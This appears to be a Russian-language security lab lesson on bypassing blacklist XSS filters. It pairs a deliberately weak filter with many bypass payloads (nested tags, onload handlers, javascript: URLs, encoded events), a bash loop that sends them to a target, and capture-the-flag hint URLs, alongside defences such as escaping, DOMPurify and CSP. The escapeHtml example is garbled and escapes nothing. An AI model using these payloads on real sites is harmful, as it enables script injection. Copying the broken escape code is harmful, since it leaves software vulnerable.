📚 Теория: XSS Filter Bypass (кликните чтобы развернуть)
1️⃣ Что такое XSS Filter Bypass?
Простыми словами для разработчика:
Вы пытаетесь защититься от XSS через blacklist-фильтр (блокируете слова "script", "onerror", "alert"). Но злоумышленники знают десятки способов обойти такие фильтры — и ваше приложение остаётся уязвимым.
"Я заблокировал <script> — теперь безопасно!"
Реальность: Есть сотни других векторов атак, которые не содержат слово "script"
Где встречается:
- 🛡️ Самописные XSS фильтры (90% легко обходятся)
- 📝 WAF с blacklist правилами
- 🔍 Input валидация через regex
- 🚫 Strip tags функции без whitelist
OWASP: A03:2021 - Injection (неправильная защита)
Статистика: 70% самописных XSS фильтров обходятся (PortSwigger Research 2022)
2️⃣ Как работают плохие фильтры (CODE WALKTHROUGH)
❌ Типичный blacklist фильтр
// xss-filter.js
function filterXSS(input) {
let clean = input;
// ❌ ПРОБЛЕМА #1: Удаляем только эти слова
clean = clean.replace(/script/gi, ''); // Ищем "script"
clean = clean.replace(/onerror/gi, ''); // Ищем "onerror"
clean = clean.replace(/onclick/gi, ''); // Ищем "onclick"
clean = clean.replace(/alert/gi, ''); // Ищем "alert"
return clean; // Думаем что безопасно
}
app.get('/search', (req, res) => {
const query = req.query.q;
const filtered = filterXSS(query); // "Защита"
res.send(\`<p>Результат: \${filtered}</p>\`);
});
Почему это НЕ работает?
// Payload: <scr<script>ipt>alert(1)</script>
// После replace(/script/gi, ''):
// <scr█████ipt>alert(1)</script> (удалили "script")
// <script>alert(1)</script> ← Осталось!
💡 Фильтр удаляет, а не блокирует → создаёт новый тег
// Фильтр блокирует: script, onerror, onclick, alert
// НЕ блокирует: svg, iframe, body, img, onload, confirm
✅ <svg/onload=confirm(1)>
✅ <body onload=confirm(1)>
✅ <iframe src=javascript:confirm(1)>
✅ <input onfocus=confirm(1) autofocus>
💡 Десятки HTML тегов и событий — не заблокируешь все!
// HTML entities
<img src=x on\error=alert(1)> // \e = 'e'
// Hex encoding
<img src=x on\x65rror=alert(1)>
// Unicode
<img src=x on\u0065rror=alert(1)>
💡 Браузер декодирует, фильтр — нет
3️⃣ Почему Blacklist НЕ работает
Бесконечные варианты
Существует 100+ HTML тегов и 150+ событий которые могут выполнить JS
<svg> <iframe> <object> <embed>
<video> <audio> <canvas> <form>
onload onmouseover onfocus onblur
oninput onchange onsubmit...
Double encoding
// Фильтр удаляет один раз
<scr<script>ipt>
↓ удалили "script"
<script> ← восстановилось!
// Можно вложить несколько раз
<scr<scr<script>ipt>ipt>
Case manipulation
// Если нет флага /i:
<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>
// Смешанный case
<ScRiPt>ALeRt(1)</sCriPT>
Browser quirks
// NULL byte (старые браузеры)
<script\x00>
// Комментарии в тегах
<scr<!---->ipt>
// Whitespace
< script >
4️⃣ Как ПРАВИЛЬНО защититься
❌ НЕПРАВИЛЬНО: Blacklist (легко обойти)
function badFilter(input) {
// ❌ Блокируем только известные векторы
input = input.replace(/script/gi, '');
input = input.replace(/onerror/gi, '');
input = input.replace(/onclick/gi, '');
input = input.replace(/alert/gi, '');
input = input.replace(/eval/gi, '');
return input; // Ложное чувство безопасности
}
// Обходится через: <svg/onload=confirm(1)>
✅ ПРАВИЛЬНО #1: Whitelist + Экранирование
function escapeHtml(text) {
// ✅ Экранируем ВСЕ спецсимволы
return text
.replace(/&/g, '&')
.replace(//g, '>') // > → >
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.get('/search', (req, res) => {
const safe = escapeHtml(req.query.q);
res.send(\`<p>\${safe}</p>\`);
});
// ✅ Любой XSS payload станет текстом!
✅ ПРАВИЛЬНО #2: DOMPurify (для rich text)
const DOMPurify = require('isomorphic-dompurify');
app.post('/api/comments', (req, res) => {
// ✅ Whitelist только безопасные теги
const clean = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href'],
ALLOWED_URI_REGEXP: /^https?:\/\// // Только http/https
});
db.save(clean); // Сохраняем санитизированное
});
✅ ПРАВИЛЬНО #3: Content Security Policy
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " + // Только свои скрипты
"object-src 'none'; " + // Блок Flash/Java
"base-uri 'self'; " + // Защита от base injection
"form-action 'self'" // Формы только на свой домен
);
next();
});
// ✅ Даже если XSS пройдёт — inline script не выполнится!
❌ Блокировка keywords = бесполезно
✅ Используйте whitelist или экранирование
✅ Для rich text: DOMPurify с ALLOWED_TAGS
1. Input validation (whitelist формат)
2. HTML escaping (перед выводом)
3. CSP headers (блокировка inline)
4. HttpOnly cookies (защита от кражи)
Node.js:
• DOMPurify (санитизация HTML)
• validator.js (валидация + escape)
• helmet.js (security headers)
Не пишите свои фильтры с нуля!
// Список для manual testing:
1. Nested tags
2. Alternative events
3. Encoding (HTML entities, Unicode)
4. Case manipulation
5. Protocol handlers (javascript:)
📊 Blacklist vs Whitelist
| Подход | Blacklist (плохо) | Whitelist (хорошо) |
|---|---|---|
| Логика | Блокируем опасное | Разрешаем безопасное |
| Пример | Блокируем "script", "onerror" | Разрешаем только [a-zA-Z0-9] |
| Bypass | Легко (100+ способов) | Сложно/Невозможно |
| Maintenance | Бесконечная гонка | Один раз настроил |
| Итог | ❌ Не работает | ✅ Надёжно |
3️⃣ Техники обхода (что должен знать разработчик)
Nested Tags
// Фильтр: replace(/script/gi, '')
Payload: <scr<script>ipt>alert(1)</script>
↓ удалили "script"
Result: <script>alert(1)</script> ✅
Alternative Tags
// Заблокирован только <script>
✅ <svg/onload=alert(1)>
✅ <iframe src=javascript:alert(1)>
✅ <img src=x onerror=alert(1)>
✅ <body onload=alert(1)>
Case Mixing
// Если нет флага /i:
✅ <ScRiPt>alert(1)</sCrIpT>
✅ <SCRIPT>alert(1)</SCRIPT>
// Смешанный:
✅ <iMg src=x OnErRoR=alert(1)>
Alternative Functions
// Заблокирован alert()
✅ confirm(1)
✅ prompt(1)
✅ console.log(1)
✅ (()=>alert(1))()
✅ window['ale'+'rt'](1)
5️⃣ Как тестировать фильтры
Bypass Testing Checklist
# 1. Nested tags
input=<scr<script>ipt>confirm(1)</script>
# 2. Alternative tags
input=<svg/onload=confirm(1)>
input=<body onload=confirm(1)>
input=<iframe src=javascript:confirm(1)>
# 3. Alternative events
input=<img src=x onerror=confirm(1)>
input=<input onfocus=confirm(1) autofocus>
# 4. Alternative functions
input=<script>confirm(1)</script> # вместо alert
input=<script>prompt(1)</script>
# 5. Case mixing (если нет /i)
input=<ScRiPt>alert(1)</ScRiPt>
# 6. Encoding
input=<img src=x on\error=alert(1)>
Автоматизация через скрипт
#!/bin/bash
# test-xss-filter.sh
PAYLOADS=(
"<script>alert(1)</script>"
"<scr<script>ipt>alert(1)</script>"
"<svg/onload=confirm(1)>"
"<body onload=confirm(1)>"
"<img src=x onerror=confirm(1)>"
)
for payload in "\${PAYLOADS[@]}"; do
echo "Testing: $payload"
response=$(curl -s "https://site.com/filter?input=$payload")
if echo "$response" | grep -q "<script\|onerror\|onload"; then
echo "❌ BYPASS SUCCESSFUL: $payload"
else
echo "✅ Blocked"
fi
done
6️⃣ Best Practices
✅ DO (Делайте)
- Используйте экранирование вместо фильтров
- Для rich text: DOMPurify с whitelist
- Включите CSP заголовки
- Используйте template engines с auto-escaping
- Тестируйте все известные bypass техники
- Используйте SAST для детекции blacklist
❌ DON'T (Не делайте)
- НЕ пишите свои XSS фильтры
- НЕ используйте blacklist подход
- НЕ удаляйте опасные слова (nested bypass)
- НЕ полагайтесь только на regex
- НЕ забывайте про encoding
- НЕ думайте что один фильтр = безопасность
Правильная архитектура защиты:
┌─────────────────────────────────────┐
│ 1. Input Validation (whitelist) │ ← Разрешаем только безопасный формат
├─────────────────────────────────────┤
│ 2. HTML Escaping (при выводе) │ ← Экранируем спецсимволы
├─────────────────────────────────────┤
│ 3. Content Security Policy │ ← Блокируем inline scripts
├─────────────────────────────────────┤
│ 4. HttpOnly Cookies │ ← Защищаем от кражи
└─────────────────────────────────────┘
// ✅ Defense in Depth = несколько слоёв защиты
7️⃣ Практические задания
📝 Задание 1: Bypass фильтр
- ✅ Изучи логику фильтра в
/api/xss/filter - ✅ Попробуй 5 разных bypass техник
- ✅ Найди работающий payload
- ✅ Сними флаг из ответа сервиса (вернётся строка формата
FLAG{...})
🔍 Задание 2: Audit свой проект
- Найди все места где фильтруется user input
- Проверь: используется blacklist или whitelist?
- Протестируй каждый фильтр bypass техниками
- Создай список уязвимых мест
🛠️ Задание 3: Переписать на whitelist
- Замени blacklist фильтр на
escapeHtml() - Или используй DOMPurify с ALLOWED_TAGS
- Проверь что ВСЕ bypass техники не работают
- Напиши unit tests для каждой техники
🔬 Задание 4: SAST правило
- Напиши Semgrep правило которое находит blacklist фильтры
- Детектируй паттерн:
replace(/script/gi, '') - Добавь в CI pipeline
- Создай policy: "запрещено использовать blacklist"
🎯 Что вы изучили:
- 🚫 Почему blacklist НЕ работает (бесконечные bypass)
- 🎯 Техники обхода: nested, alternative, encoding
- ✅ Правильная защита: whitelist, escaping, CSP
- 🧪 Тестирование: bypass checklist, автоматизация
- 📚 Best practices: используй библиотеки, не изобретай велосипед
- 🔍 Code review: находить blacklist паттерны в коде
Техники обхода (было удалено):
// 1. Nested tags (если фильтр удаляет, а не блокирует)
<scr<script>ipt>alert(1)</script>
// 2. Альтернативные события
<svg/onload=alert(1)> // onerror заблокирован
<body onload=alert(1)> // onclick заблокирован
// 3. Замена функций
confirm(1) // вместо alert()
prompt(1)
// 4. JavaScript URL scheme
<iframe src=javascript:alert(1)>
// 5. Encoding (если фильтр не декодирует)
<img src=x on\x65rror=alert(1)> // \x65 = 'e'
Фильтр в этой лабе:
// ❌ СЛАБЫЙ ФИЛЬТР
filtered = filtered.replace(/script/gi, '');
filtered = filtered.replace(/onerror/gi, '');
filtered = filtered.replace(/onclick/gi, '');
filtered = filtered.replace(/alert/gi, '');
Правильная защита:
// ✅ Whitelist + экранирование
function escapeHtml(text) {
return text.replace(/[&<>"']/g, (m) => ({
'&': '&', '<': '<', '>': '>',
'"': '"', "'": '''
})[m]);
}
// ✅ Content Security Policy
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'none'");
Подсказки
Техника 1: Nested tags
https://rtlabs.su/api/xss/filter?input=<scr<script>ipt>confirm(1)</script>
Техника 2: Альтернативные теги
https://rtlabs.su/api/xss/filter?input=<svg/onload=confirm(1)>
https://rtlabs.su/api/xss/filter?input=<body onload=confirm(1)>
Техника 3: Замена alert
https://rtlabs.su/api/xss/filter?input=<img src=x onerror=confirm(1)>
💡 Используйте confirm() вместо alert()
🏆 Флаг появится в ответе сервиса, когда payload обойдёт фильтр. Он имеет формат FLAG{...}.